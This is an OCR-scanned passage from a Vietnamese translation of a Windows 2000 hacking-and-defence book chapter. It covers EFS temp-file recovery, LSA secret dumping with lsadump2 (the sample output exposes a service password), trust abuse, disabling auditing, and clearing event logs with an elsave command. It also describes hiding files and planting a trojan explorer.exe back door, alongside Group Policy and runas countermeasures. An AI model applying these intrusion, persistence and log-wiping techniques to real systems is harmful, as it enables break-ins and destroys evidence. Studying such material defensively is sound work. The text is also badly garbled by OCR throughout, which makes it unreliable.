cach khac nhim gitip ban tim ludn thay chudi efsO.tmp thay vi tim tép chua
chudi dé 1a tim ludn chudi “FILE"™ trén dong dau cta giao dién dskprobe
__may s€& chi ra phan chira mot tep do. Ca efsO.log va efsO.tmp duong nhu
duoc tao ra tr cung mot duong dan gidng voi duong dan cia tép di duwoc ma
ho4, nhung chung khong hién thi trén mot giao dién chuan ma chi hién thi trén
glao dien cua dskprobe. Trong hinh 6-3, chung t01 da chi ra mot tep efsO.tmp
mau duoc phat hien trong cung tu 21249 hién thi trong (dskprobe vo1 no dung
day da. (Mot 1an nita, can luu ¥ chudi “FILE™ & dong dau, day la mot tep tin).
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[@ERY K¢ tan cong c6 thé chay chuong trinh dskprobe trén mang théng qua
mot giao dién diéu khién tir xa hay mot phien Terminal Server, chu khong chi
tir mot ban giao tlep vat ly.

Khi tan Cﬂng bang mot trinh duyét cap thap khong nhufng ké tan cong
khong chi don gian xoa phan SAM hoic thay do6i chat tu moi thtr cé trong do,
ma phai do tim nhitng tép dang duoc bao mat duoi dang EFS trong nhitng moi1
truomg dé bi tan cong.

@ Khoa tinh nang Phuc hoi file tam luu EFS

Khi cudn sach dén tay ban doc, hing Microsoft van chua cé nhiing bién phap
stta chita 101 nay. Tuy nhién, hang cling c¢6 nhiing phéan hdi d6i véi Bugtraq da
dé cap & phan trude. Microsoft cho biét, tép sao luu vin ban thuan tuy chi
duoc tao ra néu mot tép don co trudac da duoc ma hoa. Néu tep duoc tao ra
trong thu muc da duoc mé hoa thi ngay lap tirc no cling duoc ma hoa, va sé
khong c¢6 mot tép sao luu van ban thuan tuy khac duwoc tao ra. Microsoft
khuyén céo diéu nay nhu mét quy trinh wu dii cho viéc st dung EFS dé bao
mat cac dit iéu nhay cam nhu da trinh bay trong phan ‘Bao Mat Heé Thc-ng
Tep Trong Windows 20007, (Xem
http://www microsoftft. com/technet/treeview/default. asp?url=TechNet/prodte
chnol/windows2000serv/deploy/confeat/nt5efs. asp):




“Chung t61 khuyén céo cac ban tot hon hét 1a ludn khéi tao mot thu muc rong
tién hanh m3 hoa. sau do tao cac tép truc tiép trong thu muc do. Piéu nay sé
dam bao cac bit cta tép dé khong bi luu gift & bat ky noi dau trén dia. Viéc
lam nay cling tao ra mot su thuc thi tot hon khi EFS khong can tao mot ban
sao luu khac va sau do la1 xoano...”

Piém can luu ¥: thay vi m3 hod cac tép riéng biét, hiy m3 hoa mét thu muc
chtra tit ca dit liéu bdo mit trude, va sau d6 tao cac t€p nhay cam chi trong thu
Mmuc nay.

Khai Thac Su Uy Thac

Mot trong nhiing k¥ nang hiéu qua ma nhiing ke tan cong hay dung la
tim nhiing may uy thac trong mién (d6i khang cuc bo) ma déu hop 18 trong cac
mién hién thoi khic. Diéu nay cho phep ke tan cong co thé nhay cdc tlr cac
may chu doc lap sang cac mach diéu khién mién va qua cac duong bién an
ninh rat dé dang. Chinh nhing nha quan tri hé thong la nguoi cho phép ké tan
cong sur dung cach nay khi ho nhap vao mét hop doc lap vor nhu'ng may uy
thac khac trc::-ng mién diéu khién. Hé diéu hanh Windows 2000 bao vé duoc ai
trong nhitng 161 nhu vay!

® Nhitng bi mat LSA — Alive va Well
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Nhu da trinh bay ¢ Chuong 5, yéu diém cia Bi mat LSA 1a chia khoa cho
viéc loi dung moi quan he tin nhiém beén ngoai vi no tiét 16 danh sach mot vai
ngudi st dung cudi cung truy cip vao hé thong va cac mat khau truy cip vao
cac chuong muc dich vu.

Maic du hang Microsoft dd dua ra mot bién phap khic phuc cho lm Bi
mat LSA sau khi tung ra Service Pack 3, nhung rat nhiéu dit nhay cdm van c6
the bi lay cip nho st tién ich Isadump2 tir Todd Sabin(xem
http://razor.bindview.com/tools/desc/Isadump2 readme.html)

Sau day la mot vi du khi Isadump?2 khai thac mot chuwong muc dich tu
mot mach diéu khién mién dung Windows 2000. Muc vao cuo1 cung cho thay
dich vu “BckpSvr” nhip vao hé thong vdi mat khau clia “password1234”.




C:\>Isadump?

SMACHINE.ACC
7D 58 DA 95 69 3E 3E 9E AC Cl B8 09 FlI 06 C4 9E
5 (o

6A BE DA 2D F7 94 B4 9 B2 39 D7 77
)o-....9w

TermServLicentingSignKey-12d4b7¢8-77d5-11d5-11d1-8¢24-00c041a3080d

TS: InternetConnectiorPswd

36 00 36 2B 00 32 00 48 00 68 00 32 00 62 00 6.6+
2HRhAZ2D

4 00 55 00 41 00 4 00 47 OO0 50 00 OO 00
DUAD.GP..

SCBckpSvr
74 00 65 00 73 00 74 00 75 00 73 00 53 00 72 00

p.a.ssw.or.d.
31 00 32 00 33 00 34 00 1234

Khi biét duwoc mat khiu dich vu, ké tn cong cé thé st dung nhitng tién
ich tién ich nhu net user dwoc cai dit sin va Resource Kit
nlnest/ TRUSTED_DOMAINS dé theo doi trurong muc d6i tuong su dung va
moi ‘quan he tin nhiém trén cung he théng nay (dé dang thuc hién néu cé dic
quyén cia Administrator).

Kham pha nay co thé tao ra mot déi tuong su dung co ten “bckp” (hoac
torong tu) va mot hoac nhieu mo1 quan hé€ vol nhitng mien ngoai. Chung ta sé
¢6 co hoi thanh cong cao néu st dung bkep/password 1234 dé ding nhip vao
nhitg mién nay.

Bién Phap Dé6i Pho Isadump?

Hing Microsoft khéng coi day la mét 16 hong an ninh vi mudn chay
I[sadump? can phai cé SeDebugPrivilege, ma SeDebugPrivilege chi duoc gt
dén Administrator thfing qua mdt ché dd6 mic dinh. Cach tot nhat dé chong lai
Isadump?2 la bao vé cac chuong muc cua Administrator khoi bi ton thuong
ngay tu dau. Tuy nhién, néu trudong hop xau nhat xay ra va Administrator bi
mat, thi cdc chuong muc dich vu tir cdc mién ngoai tri van cé thé bi lay cip
nh¢ st dung cong cu Isadump?2, va khi d6 ban khong thé 1am gi duoc,

Hinh Thiac Sao Multimaster va Mo Hinh Trust Maoi



Mot trong nhiing thay d61 co ban d6i vdi cau tric mién NT4 trong
Windows 2000 la buéc chuyén tir hinh thuc sao master don va mo hinh trust
sang hinh thuc multimaster. Trong cau tric Windows 2000, tat ca cac mién
déu sao chép Active Directory dung chung va uy thac 1in nhau bing trust
chuyén tiép hai chiéu nho chay Kerberos. (Trust gitta cac forest hay véi mién
NT4 van 1a mot chiéu) . Pay chinh 1a mdt giai phap tot cho thiét ké cau tric
lién két mién.

Kha ning dau tién cta hau hét cac Administrator mién 1 tao ra nhiing
forest tach ro1 cho ngoai vi bao mat trong hé thong. Piéu nay hoan toan sai1 —
diém mau chét cia AD la hop nhat cac mién thanh mot luoc do quan ly th-::mg
nhat. Hang loat su kiém soat truy suit c6 thé duoc duy tri qua cac d6i twong
trong forest — nhé dén dd sé 1am cidc Administrator boi roi do mdt loat cac
thiét 1dp phép ma hing Microsoft dit ra. Nhitng muc Directory
(Organizational Unit [OUs] ) va tinh nang delegation (iy quyén)moi s€ co anh
huéng 16n vé mit nay.

Tuy nhién, vo1 moé hinh mo1 nay, cac thanh vién thudéc Universal
Groups (vi du: doanh nghiép), va & cap d6 thap hon, Domain Global Groups
(vi du: Admin mién) sé& c6 thé tiép can tat ca cac mién trong forest. Vi vay,
mot chuong muc bi ton thuong trong nhém ngoai vi nay sé& cé thé anh hudng
sang cac mién khac trong mot forest. Do vay, chung toi khuyén céo cac ban
nén dit nhitng doi twong 1én hon (ddi twong nay phai khong phai hoan toan
dang tin ciy [vi du , mot cau tric twong duong] hay khong bi tén thuong do
nhiing tac dong ngoai canh [vi du: Mot trung tam luu trit dt 11éu mang]) trong
forest, hodc ban nén thao tac hoan toan nhu nhiing may chu doc lap.

Ngoai ra, vo1 trust chuyén tiép hai chiéu, nhém Authenticated Users s€ dam
nhiém tong thé pham vi mdi. Trong nhitng céng ty 16n, can phai xem day la
mot nhom khong dang tin cay.

LAP RANH GHI

Nhiing ky thuat va cong cu cii dung dé che gidu nhitng rinh ghi van
hoat dong tot (hau nhu d6i véi tat ca cac phan) trong Windows 2000. Song
nhimg k§ thuit va cong cu nay van con cé nhitmg diém khéng twong dong
duoc chi ra sau day.

V6 Hiéu Hoa Tinh ning kiem tra

Tinh ning kiém tra c6 thé hoat déng dwa trén Chinh Sach An Ninh Cuc
B0 (secpol.msc) tar \Local Policy\Audit Policy, hay cong cu Group Policy
(gpeditmsc) tar \Computer Configuration\Windows  Settings\Security
Settings\Local Policy\Audit Policy. Chung ta s€ ti€p tuc tim hiéu Group Policy
& cubi chwong nay. Thiét 1ap kiém tra vAn duoc giit nguyen nhu trong NT4.

Trong Windows 2000 khéng cé ban ghi tip trung — tat ca cac ban ghi sé
duoc luu trit trong he tht}ng cuc bo, day chinh la mot diém ric roi so voi



syslog ctia UNIX. Va tat nhién Windows 2000 tir choi luu cac dia chi Internet
két nodi tir xa cho cac su kién nhu dang nhap that bai. Nhung duong nhu mot
s6 muc van khong hé thay doi.

Ngoai giao dién ciu hinh kiém todn Group Policy, tién ich auditpol tir
NTRK van hoat dong chinh x4c nhu d tim hiéu k§ trong Chuwong 5. Tién ich
auditpol cé thé kich hoat hay v6 hiéu hoa viéc kiém toan. Khong ai c6 thé du
doan duoc twong lai sé& ra sao néu khong ¢4 NTRK?

Xoa Ban Ghi Su kién

Tat nhién ching ta van co thé xo4 duoc Ban ghi su viec trong (Event
Log) Windows 2000, nhung nhiing ban ghi van bi truy xuit théng qua mét
giao dién méi. Hang loat Event Log van duoc luu trong hé thong quan 1y méy
tinh MMC ta1 \System tools\Event Viewer. Ben canh do ba bang gh1 mo1 duoc
hién hitu la: Directory Service, DNS server, va File Replication Service. Nhap
chudt phai vao bat ky mét ban ghi nao sé cho ra trinh don chira mot muc nhip
Clear All Events.

T1én ich elsave trong chuong 5 s€ thuc hién xoa tat ca cac ban ghi tur xa
(ké ca nhitng ban mai nhat). Trong vi du sau day, cu phéap 1énh st dung elsave
dé xoa ban ghi File Replication Service trong may chu “joel”. (Can c6 nhiing
dic quyén chinh x4c trong hé thong tir xa nay).

C:\>elsave —s \\joel -1 “File Repllication Service” -C

Mot tha thudt khac dé chay nhu Administrator trong mét may chu bi ton
thuong la kho1 dong mot cau lénh duol hinh thue chuong muc SYSTEM. Thu
thuat nay c6 thé dé dang thuc hién dwoc nho st dung chwong trinh 1ap biéu
AT. Khi trinh tien ich do da dwoc bat len, mo Event Log MMC
(compmgmt.msc) va xoa nhitng ban ghi nay. Mac du mot muc nhap van chi ra
nhitng ban ghi nay di bi xo4, song chuong muc ctia dbi twong st dung cé
chirc ning xoa nhitng ban ghi nay s€ dwoc chi ra nhu SYSTEM.

An file

Mot thao tac quan trong ngay sau khi dot nhap thanh cong s€ xoa sach
dau vét dot nhép tinh vi cfia ké tin céng. Chung ta tim hiéu hai cach an file
Chuong 5: lenh attrib va chudi tep tin.

Attrib
Attrib s& an file, nhung nhiing file nay van hién thi khi dung 1énh Show
All Files ap dung cho cac thu muc.



Phan luong

St dung tién ich NTRK cp POSIX dé an file trong chudi sau cac tép tin
khac (xem chuong 5) cling c6 thé thuc hién duoc trong Windows 2000, cho du
hién nay da co phién ban NTEFS mo.

Cach tot nhat dé nhan dang cac tép tin chudi la st dung trinh duyét
sfind trong NTObjective. Sfind duoc chira trong Forensic Toolkit, co tai trang
http:// www.foundstone.com/rdlabs/tools.php?category=Forensic

CUA SAU (BACK DOORS)

Cubi cung trong danh sach chon cua ke tin céng 1a su tao 1ap nhitng co
hoi twong lai dé tré vé hé thong di bi tén thuong, hy vong khong b1 nhan ra
bd1 pham vi hoat dong cua administrator he th-::}ng.

Thao tac Khoi Pong

Nhu chung to1 da trinh bay ¢ Chuong 5, mot thu thuat thong dung cua
nhirng ke tan cong la géﬂ két nhitng chuwong trinh tu chay tinh vi vao nhiting vi
tr1 ma chung s€ tu dong khoi chay vao gio da dat truoc. Nhitng vi tri nay van
con ton tai trong Windows 2000 va chung sé€ duoc kiém tra tim kiém céac lénh
la trong nhiing hé théng bi tan cong.

Mot 1an nita, nhiing gia tr1 Registry kho1 dong phu hop duoc dinh vi tai
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion:

¥ ...\Run
m...\RunOnce
A .. \RunOnceEx

Mot diém khéc biet nho trong Windows 2000 la v1 tri cua thu muc
Startup cua dbi twong su dung. Ta1 Windows 2000 thu muc Startup duoc cAt
trong moét thu muc khic 1a Documents and Setting dudi goc
(Y%esystemdrive%'\Documents and Settings\%user%\Start
Menu\Programs\Startup).
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Péi khi nhitng cong thoat ma ta biét lai la rat kho dé nhan ra. Luu v toi
v1 tri don gian cua mot tien ich cua Trojan Windows co tén explorer.exe tai
obc ctia duong dan Yosystmedrive% trong hé théng muc tiéu. (Bat ky doi
trong st dung nao ciling cé thé viét duoc chuwong trinh nay nho ché d6 mic
dinh.) Khi mot doi twong st dung ngay sau do6 truy xuat twong tac, chuong
trinh tu chay nay sé& tré thanh mot tién ich mic dinh cho dbi twong st dung do.
Vi sao diéu nay xay ra?

Nhu da gio1 thieu trong phéin B6 Phat Trién Phin Mém Microsoft
(SDK), khi file chay va cac file thudc dang DLL khong dwoc dat truoc boi
mot dudng din trong muc Registry, Windows NT 4.0 / 2000 s& tim kiém file
trong thu tu cac vi tri sau:

1. Thu muc ta1 do phfin mém ung dung duoc cai dat

2. Thu muc hién hanh trong qua trinh xt Iy me

3.  Thumuc heé théng 32 bit (Y%windir%\System32)

4. Thu muc hé théng 16 bit (%windir%/System)

5. Thu muc Windows (%windir%)

6. Cac thu muc duoc xac nhan trong bién s6 mét truong PATH.

Tinh trang nay da duoc ching minh nho trinh mac dinh NT / 2000 duoc
nhan dang nho khoa Registry
HKLM\SOFTWAREMcmsmft\WindmwsNT\CunentVersimn\Winngmn\SheI]
Gia tri mdc dinh cho khoa nay la “explorer.exe”; khong c6 duong dan file nao
duoc chi ra. Vi vavﬁ néu bat ky a1 sao chep mot trinh da chinh sta co tén

“explorer.exe” dén gdc cia %SystemDrive% (vi du: C:\) vao thoi gian d3 cho
trwoc, gia tr1 cua explore.exe tar WinLogon\Shell\explore.exe s€ duoc doc ra.
Hé thong tép tin s& duoc phin tach ngay tai gbc (vi thu muc hién hanh trong
khi hé thong khéi dong 1a %systemdrive%), bat gip file chay explorer.exe
hieu chinh cua chung ta. Qua trinh nay s€ tro thanh mot trinh cho phien dang
nhap riéng biét nay.

Theo nhing gi  Alberto Aragones da wét ta1  trang
http://www.quimeras.com/secadv/ntpath htm, diéu nay s& rat dé dang chimg
minh duoc bang cach sao chép mdt trinh 1énh NT / 2000 (cmd exe) sang phan
gbc hé thong, sau d6 thoat ra khéi hé thong, va lai nhap vao hé thong. Trinh
Windows chuan duoc che phu bang mot trinh 1énh.

Chung ta s€ xem trong Chuong 14, cac ¢cong cu nhu eL1TeWrap s€ lam
cho viéc go1 cac da chuong trinh tré nén dé dang hon. Nhiing da chuong trinh
nay cling c6 thé duoc chay ngam dinh va khong dong bd néu mudn. Bat ky ai
cling c6 thé dé dang lién ket mot back door (nhu Back Oifice 2000) vor mot
ban sao cua explorer.exe, roi dit nd vao goc hé thong, va chuong trinh nay sé
duoe khoi chay ngam tai thoi diém cé ding nhip tuong tic xay ra. Trinh
Explorer dudng nhu van chay binh thuong, vi vay khong ai c¢6 thé khén ngoan
hon thé duoc.




Ciling ta1 trang http://www._quimeras.com/secadv/ntpath. htm, Alberto
cling dua ra mot cach thuc thuan tién dé thuc hién tiéu xao nay tir xa. Co SO dé
thuc hién tiéu xio nay la dua vao may chu co su dung r.:hm::rng trinh két nd1 NT
/ 2000 chay trén may chu muc tleu Pau tién, két nodi véi may muc tiéu, sau do
tai 1én file chay explorer.exe cong thoat (véi dong 1énh FTP). Sau dé, tir dong
lénh telnet, ddi thanh %windir%. chay explorer.exe that, va két thuc phién
telnet. Explorer.exe gia s& chay trén bat ky phién truy cip tuong tac nao.

K¥ thuat nay cling c6 thé ap dung dwoc dbi véi DLL. Véi cac file chay
cua Windows nhap thu vien dong, thong tin trong file chay dung dé dinh vi
tén cla cac DLL can thiét. Hé thong sé& do tim cac DLL theo ding trong trinh
tu twong tu nhu trén. Truc trac turong tu clng hay ra.

Theo ddi Puwong Din

Cdng viéc nay ciing dwoc thém vao MS00-052 nhung khong bao gém
cé Service Pack 1, vi viy né phai duoc ap dung bat ké ban c6 dang chay hé
tthg Service Pack truoc hoac sau hay khﬂng Ngay ca khi file FAQ cua
Mcrosoit trong tinh trang dé b1 anh huong nay
(http://www. mICIDSth ct::-mftechnetfsecurltvfbulletmfiqOU 52.asp) “doc lap ©
gitra cac tri sO reglstry do Microsoft cung cap san, tri sO Shell st dung mot
duong dan a0” dé hd tro nhitng tmg dung thira ké, Alberto Aragones khing
dinh nhiéu file chay thiéu nhitng duong dan chinh x4c trong muc Registry (vi
du nhu file rundll32 exe). Qua thuec, file rundll32.exe cé thé tim thay nhiéu noi
trong muc Registry ma khong can mot dwong dan thuec.

Mot cach khac la truy tim tat ca duong dan ao trong Registry va suy ra
dudng dan thuc. Ngay ca néu mot danh sach toan dién va chinh xac vé cac
file c6 kha nang bi tén thuong ton tai, moi viée stra chita ching cling can rét
nhiéu nd luc va thoi gian.

Moi viéc s& trd nén dé dang néu ban tuan theo nhitng thi thuat hiéu qua
va ngan can dang nhap vao server (trién khai Terminal Server s& lam diéu nay
phan nao kho khin hon). Va tat nhién diéu nay s€ ap dung dé sira chita (tham
khao phan tI'LIDfC) V1 nhitng lo ngal tinh twong thich ung dung da de cap ¢
phan trudce, cong viéc stra chita nay sé€ loai bé moi kha ning dé bi anh hudng
bing cach dua mot dang chit dic biét vao mi startup dé suy ra %systemroot%
trwde khi tri s6 duoc nhap vao muc “Shell”.

LOI KHUYEN: Neu a1 do dung thu thuat nay cua Albertm [én may cua ban,
ban c6 thé bi boi r6i khi tim cach dua tré hé thong vé tinh trang binh thuong.
Alberto khuyen ban nén chay chuong trinh %windirf%\explerer.exe tu trinh
lénh va sau d6 xo4 trinh tham hiém cong thoat, hodc ban co thé chi can gb
ren\exploerer.exe harmless.txt, va sau dé an t6 hop phim CTRL-ALT-DEL
dé khoi dong lai.



Kiem soat Tw Xa

Moi co ché diéu khién tir xa di duoc dé cap dén & Chuong 5 sé van hoat
dong binh thuong. Co ché diéu khién tir xa tt NTRK sé& co trong Windows
2000 Suppﬂrt Tools (can nha méi cho nhiéu tién ich RK quan tmng) nhu mot
phién ban cip nhat cé tén wsremote, nhung vé co ban co ché nay van gidng
nhu trude. Chirc ning cta ca NetBus va Win VNC van duoc gitt nguyén. Back
Orifice 2000 (BO2K) ciing hoat déng trong Windows 2000. Tat ci céc
administrator dang cudi tham BO goc chi chay duoc trong Wind9x van con ¢é
luc phai lo ngai.

May Chu Cuoi

Tat nhién, mdt bo xung 16n cho Windows 2000 1a tinh sin cé cia May Chu
Cudi (Terminal Server) nhu mot ph?m clia cic san pham Server cot 16i.
Terminal Server cai dit co lua chon bién Windows thanh mot hé thcmg hoan
toan khéc, trong d6 moi xtt li ciia may khach dwoc chay trén phan trong CPU
cua may chu. Trong mo1 phien ban Windows truoc day — trt NT Terminal
Server Edition 1a mot sdn pham phat trién riéng biét — ma may khach luén
chay trong bo vi xu ly cua may khach. Day khong phai 1a mot cudc cach mang
d61 véi UNIX va may tinh lon chay dwoi hinh thuc nay ké tir khi cudc cach
mang vé mady tinh xay ra, nhung administrator NT / 2000 s& chic chin quen
vol su khac biét gitta nhitng phién dang nhap ban giao dién vo1 nhitng phién
trong tac tu xa.

Nhu chung ta thay trong doan trudc, nhan dién mot hé thong véi TCP

{:Dng 3389 gan nhu la mot su danh cudc chic chin dbi vor May Chu Cubi. Ké
tan cong sé chuven sang st dung May Khach Dich Vu Cubi. (Chuong trinh
cai dit s& lién két hai 6 mém va chuong trinh nay co thé tim thav trong ter
muc %windir%!\system32\clients cua may chu dung Windows 2000). Ké tin
cong dung phuong Phap lip doan mat khau c¢6 thé chong lai chuong muc
Adminustrator tar diem nay. Tu ki dleu nay duoc xem nhu dang nhap tuong
tac, cac cuoc tan cong kiéu nay co thé van tlep tuc chmng la1 chuwong trinh diéu
khién mién Windows 2000, thim chi ngay ca khi passprop/adminlockout duoc
kich hoat. (xem chuong 5 de biét thém vé passprop). Tuy nhien, May Khach
Dich Vu Cudi sé ngat két ndi sau nim lan thir that bai, nhung day lai la mot
qua trinh mat nhiéu thoi gian.
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Pay sé& la nhimg diéu rat himg thu doi véi ké tan cong di doat duoc dic
quyén Administrator trong May Cha Cubi. Néu Administrator cudi cung quén
khong thoat khdi mét phién cudi (hay vai phién cubi), khi nhitng ké tan cong
tim cach két ndi véi m3 uy nhiém Administrator, ching s& duoc hién hitu véi
hop thoai sau:

These esisling Wingows NT sessiong are avalable for pou to conngct to. Selec
e deseed session and press Enler to connection

D Made/Color Conmect Tune iseormect Time

Phién chung chon dé két ndi cé thé mé duoc nhiing tai lidu ciia mot phan
nhay cam hay nhiing di liu khac hay nhiing img dung co thé dang chay ma
ké tan cong ¢ thé tu nhién luc loi moi thir bing phuong phap thi cong.

Thoat khoi nhitng vung cuoi (Terminal Sessions)

Chi dong cua $O may khach hodc chon Disconnect s€ lam cho phién
hoat ddng. Pam bao chon Log Off tir ca Start hay Shut Down, hoic bing cach
str dung phim tit CTRL-ALT-END ctia Terminal Server Client.

Sau day la danh sach cac phim tit khac cé trong Terminal Service Client:

CTRL-ALT-END Ma& hop thoar Windows Security.
ALT-PAGE UP Pao cac chuong trinh tir tra1 sang phai.
ALT-PAGE DOWN Dado cac chuong trinh tu phai sang trai.

ALT-INSERT  Xoay qua cac chuong trinh
dé chung duoc khéi dong.

ALT-HOME Hién thi trinh don Start.

CTRL-ALT-BREAK Dao may khach gitta
mot clra s6 (néu 4p dung duoc) va phong to
man hinh.

ALT-DEL Hién thi trinh don bat 1én cua
window.

CTRL-ALT-MINUS (-)Pat mot hinh anh
clia ctra so dang hoat dong qua mot phim trén
vung phim s6, trong may khach, 1én trén Bang




Ghi Tam May Cha Cubi. (Nhan phim tit
ALT-PRINTSCRN trén mot may tinh cuc bo
cling cho két qua tuong tu.)

CTRL-ALT-PLUS (+) Pat moét hinh anh
cia toan bo khu vuc ctra sO may khach 1én
Bang Ghi Tam May Chu qua mot phim trén
ving phim sb. (Nhin phim tit ALT-
PRINTSCRN trén mdt may tinh cuc bé cling
cho két qua tuong tu.)

LOI KHUYEN: Mot may chu twong thich SSH1 dung Windows 2000 tir do ¢o tai
http://marvin.cnnadvantage.com/caspian/Software/SSHD-NT/default. php, va mot vai may
chu thwong mai SSH2 cting huén dang co san. Trinh bao mat (SSH) la co s& cua viéc quan

ly bao mat tir xa trong he thong dung UNIX trong nhiéu ndm nay va la mot dong 1énh manh
luan phien d6i voi May Chi Cudi dé ho tro vide quan 1y tir xa cia Windows 2000. (}:am
phan Secure Shll FAQ ta1 http://www. emplwees org/~satch/ssh/faq/ssh-faq. html dé biét
thém chi tiét vé SSH).

Keystroke Loggers
NetBus” keystroke logger, cling nhu Invisible Keylogger Stealth (IKS) van
hoat dong t6t trong Windows 2000, ca hai di dwoc dé cip dén trong chuong 5.

BIEN PHAP POI PHO CHUNG: NHUNG CONG CU BAO MAT
WINDOWS MOI

Windows 2000 cung cap nhitng céng cu quan 1y bao mat mdi tip trung phan
l6n nhitmg chirc ning khac biét cua NT4. Nhimg tién ich nay rat hitu ich cho
viéc bao vé hé thong hay chi cho viéc quan 1y cau hinh may nham giit cho hé
thong lubn tranh duoc nhiing 161 héng héc.

@ Chinh sach Nhom

Mét trong nhitng cong cu mdi hitu hiéu nhat c¢é trong Windows 2000 la
Group Policy ma ching ta do1 khi gap trong chwong nay. Group Policy
Objects (GPO) co thé duoc luu trong AD hay trén mot may tinh cuc bo de xéc
dinh tham s6 cau hinh nhat dinh trén mét cap do mién hoac cap do cuc bo.
GPO c¢6 thé duoc ap dung d6i véi cac trang, mién, hay cac Don vi td chirc



(OU) va duoc truyén cho ngudi st dung hay chinh may tinh ma ching chura
(go1 la “thanh vién” cua GPO do).

GPO c6 thé duoc hién thi va hiéu chinh trong bat ky ctra s6 giao tiép MMC
nao (do1 héi c6 dic quyén ciia Administrator). GPO gin véi Windows 2000 1a
May Tinh Cuc BS, Mién Mic Pinh, va Chinh sich Piéu Khién Mién. Chi
bing cach chay Start/gpedit msc, GPO May tinh cuc b6 s€ duoc bat lén. Mot
cach khéac dé hién thi GPO la lam hién thi muc Properties clia mét doi tuong
thu muc chi dinh (mién, OU, hay ving), va sau d6 chon muc Group Policy
nhu minh hoa duor day. Man anh nay hién thi GPO rieng biet ung dung cho
d6i twong duoc chon (duoc uu tien het ke) va su thua ké c6 bi chin hay
khong, va cho phep GPO duoc hieu chinh.
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Hiéu chinh GPO sé cho thay su thira cau hinh bao mat. Cau hinh bao mit nay
c6 thé duoc ap dung dbi véi nhiéu doi twong thu muc. Mot loi ich riéng la (Of
particular  interest 1s...) nut Computer Configuration\Windows
Settings\Security Settings\Local Policies\Security Options trong GPO. Co hon
30 tham s6 & day co thé dung dé dinh cau hinh nhim ning cao bao mat cho
bat ky db1 twong may tinh nao ma & d6 cé ap dung GPO. Nhitng tham sb nay
bao gdom Additional Restrictions For Anonymous Connections (thiét lap
RestrictAnonymous), LanManager Authentication Level, va  Rename
Administrator Account, ba thiét ldp quan trong nay chi dwoc truy cip qua mot
val giao dién khac biét NT4.

Nut Security Settings cling la no1 Account Policies; Audit Policies; va
Event Log, Public Key, va IPSec policies cé thé duoc thiét lap. Bing viéc cho
phép nhitng tha thuat hitu hiéu nay dwoc thiét 1ap tai ving, mién, hay tai muc
OU, cong tac quan ly bao mat trong nhiltng mo1 truong lon duoc giam di dang
ké. Quan Ly Mién Mic Dinh GPO duoc chi 18 trong hinh 6-4.

Nhimng GPO duong nhu la phuong cach cudi cung dé coéng viéc dinh
cau hinh duoc bao mat trong nhimg mien Windows 2000 rong lon. Tuy nhien,
ban c¢6 thé chi thu duoc nhiing két qua that thuong khi tao su két hop gitra
quan ly murc mién va muc cuc bd. va su tri hodn trudc khi nhitng thiét lap



Group Policy c6 hiéu luc cé thé ciing gdy kho chiu cho ban. Str dung cong cu
secedit dé lam madi Policy ngay 1ap tirc 1a mot cach dé giai quyét su tri hodn
nay (Secedit s& duoc noi toi chi tiét hon & phan sau). Dé lam méi lai Policy st
dung secedit, m& hop thoai Run va nhap vao

Secedit / refreshpolicy MACHINE POLICY

Pé 1am méi lai policy dudi nit User Configuration, g&

Secedit / refreshpolicy USER POLICY
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Figure 6-4. The Default Domain Poicy GPO
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Nhitng Cong Cu Pinh Cau Hinh Bio Mat

Lién quan dén dic trung Group Policy 1a Céng Cu Pinh Cau Hinh Béo
Mat, cong cu nay bao gém cac tién ich Phén Tich va Pinh Cau Hinh Bdo Mt
va tién ich Khuén Mau Bao Mat.

Cong cu Phan Tich va Dmh Cau Hinh Bao Mit cho phép cac
administrator kiém la1 cau hinh hé thong cho twong thich véi khudén mau di
dinh sin va tai dinh ciu hinh bat ky mot thiét lap nao khong phu hop. Cong cu
nay tien dung nhuw mot MMC snap-in, hay nhu mot phien ban dong lenh
(secedlt) Day la mot co che manh cho mo1 quyet dinh nhanh néu mot he
théng gip phéi nhitng yeu cau bao mat duong co so. That khong may, cong
viéc phan tich va dinh cau hinh chi ¢6 thé 4p dung dm vo1 nhitng he thﬂﬂg cuc
bo va khong ap dung duoc doi voi pham v1 vung mlen Tién ich secedit c6 thé
duoc dung trong cac logon batch SEI’lpt dé bo tri cau hinh va phan tich dén céc
hé thong & xa, nhung tién ich nay van khong tron tru nhu tinh ning ctia Group
Policy trong mo1 truong phan phat.

Tuy nhién mot diéu may min la nhitng khuon mau bao méat cé thé duoc
nhap vao moét Group Policy. Vi vay, bat ¢t mién. vung, OU nao co GPO ap
dung vao s& nhin dwoc nhiing thiét lap khuén mau bao mat. Dé nhip mot
khuébn mau bido mat, kich phai chuét vao nat Computer
Configuration\Windows Settings\Security Settings, va chon Import tu trinh
don no1 dung. Chuc nang Import mac dinh vo1 %windir%\security'\template
directory, tai no1 day tieu chuin dit ra cta 11 khudén mau bao mat duoc luu
trit.



Thuc ra, 11 khuén mau biao mit nay ciing tw chita dung cong cu
Security Templates. Nhiing file khu6n mau nay xuat phat tir nhiéu mic bao
mat khac nhau ma c6 thé st dung két hop voi c:::ng cu Phan Tich va Pinh Cau
Hinh Bao Mat. Mic du rat nhleu nhiing tham s6 chua duoc xac dinh nhung
ching la nhiing diém khéi dau tot khi thiét ké mot khuén miu cho phan tich
va dinh c4u hinh hé thong. Nhiing file nay co thé duoc hién thi qua Security
Templates MMC snap-in hay bing dinh ciu hinh thi cong véi modt trinh soan
thao van ban (mot lan nita cac file nay co dudi mé rong la .inf va duoc dinh vi
ta1 %owindir%/\security\templates\.)

Runas

D61 voi nhitng nguo1 thuc su quan tam to1 UNIX, dé dén véi Windows
duong nhu chi 1a mdt bude nhd, nhung cudi cing Windows 2000 cho ra doi
lénh chuyén doi d6i twong st dung ban dau cé tén runas. Von d3 noi tiéng tur
lau vé Bao mat, ta ludn mong mubdn cé duoc tinh nang thuc thi lénh trong mo1
treong ma truong muc do6i twong st dung cé dic quyén & muirc han ché nhat.
Malicious Trojans, cac file chay, thu dién tr, hay cac trang Web tu xa trong
mot trinh duyét cé thé khdi chay tat ca cac 1énh véi dic quyén cua doi tuong
sur dung hién tai; va d6i tuong su dung nay cang co nhiéu dic quyén thi nhitng
hong hoéc tién tang cang to1 te.

Rat nhiéu cudc tan cdéng kiéu nay c6 thé sdy ra trong moi hoat dong
thuong ngay va vi vay s€ tro nén dac biet quan trong d6i véi nhitng ai can dic
quyén Administrator dé thuc hién mot phén trong cong viéc thuong ngay cua
ho (thém tram 1am viéc vao mién, quan 1y nguoi st dung, phan ctimg — nhitng
cong viec thong thuong). Khi nhiing thao tac bao mat hiru hieu nhit hoat
dong, nhitng ai khong may ding nhip vao hé thong cta ho nhu Administrator
